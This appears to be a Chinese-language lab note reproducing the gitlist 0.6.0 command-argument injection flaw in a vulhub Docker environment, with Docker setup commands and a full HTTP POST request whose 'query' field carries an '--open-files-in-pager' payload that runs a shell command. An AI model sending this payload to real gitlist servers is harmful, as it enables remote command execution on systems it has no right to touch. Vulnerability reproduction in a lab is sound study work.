声明
好好学习,天天向上
漏洞描述
gitlist是一款使用PHP开发的图形化git仓库查看工具。在其0.6.0版本中,存在一处命令参数注入问题,可以导致远程命令执行漏洞。
影响范围
0.6.0
复现过程
这里使用0.6.0版本
使用vulhub
/app/vulhub-master/gitlist/0.6.0-rce
使用docker启动
docker-compose build
docker-compose up -d
环境启动后,访问
http://192.168.239.129:8080
发送数据包
我们访问的是/example/tree/a/search
,example是项目名称,需要是目标gitlist上一个已存在的项目;a在正常情况下应该是分支的名称,也就是"grep -i --line-number {$query} $branch"
中的$branch
,但因为我们的$query
被当成了一个参数,所以$branch
就应该被当做搜索的关键字。
如果没有搜索结果的话,我们的命令是不会被执行的,所以我用了“a”这个关键字,只是为了保证能搜出结果,你也可以换成其他的试试。
POST /example/tree/a/search HTTP/1.1
Host: 192.168.239.129:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Content-Length: 47
query=--open-files-in-pager=touch /tmp/gitlist;
关闭镜像(每次用完后关闭)
docker-compose down
docker-compose常用命令
拉镜像(进入到vulhub某个具体目录后)
docker-compose build
docker-compose up -d
镜像查询(查到的第一列就是ID值)
docker ps -a
进入指定镜像里面(根据上一条查出的ID进入)
docker exec -it ID /bin/bash
关闭镜像(每次用完后关闭)
docker-compose down